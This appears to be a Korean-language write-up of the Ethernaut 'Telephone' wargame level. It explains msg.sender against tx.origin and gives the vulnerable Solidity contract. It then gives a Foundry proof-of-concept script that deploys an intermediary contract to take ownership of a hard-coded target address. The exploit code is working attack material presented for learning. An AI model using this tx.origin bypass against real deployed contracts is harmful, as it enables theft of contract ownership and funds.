msg.sender이 변수에는 컨트랙트를 호출한 유저 혹은 컨트랙트의 계정 주소를 담고 있습니다
tx.origintx.origin은 트랜잭션을 보낸 계정의 주소를 담고 있습니다
함수를 호출한 계정의 주소를 담는 msg.sender와 다르게 한 트랜잭션 내에서 불변하며, 트랜잭션을 보내는 계정의 주소는 무조건 EOA 계정이므로 컨트랙트가 아닌 오직 유저만이 tx.origin이 될 수 있다는 특징을 가집니다
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
로직 정리
tx.origin = 맨 처음 트랜잭션 만든 EOAmsg.sender = 바로 앞에서 호출한 컨트랙트 주소로 바꿔주면 → 조건 참 → owner 바뀜// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";
import {Telephone} from "../src/Telephone.sol";
contract Take {
constructor(Telephone telephone, address addr) {
telephone.changeOwner(addr);
}
}
contract PoC is Script {
Counter public counter;
address public target = 0x0980cE61703Ef7Cd29a30A600AA8872A997102e0;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
new Take(Telephone(target), vm.addr(pk));
vm.stopBroadcast();
}
}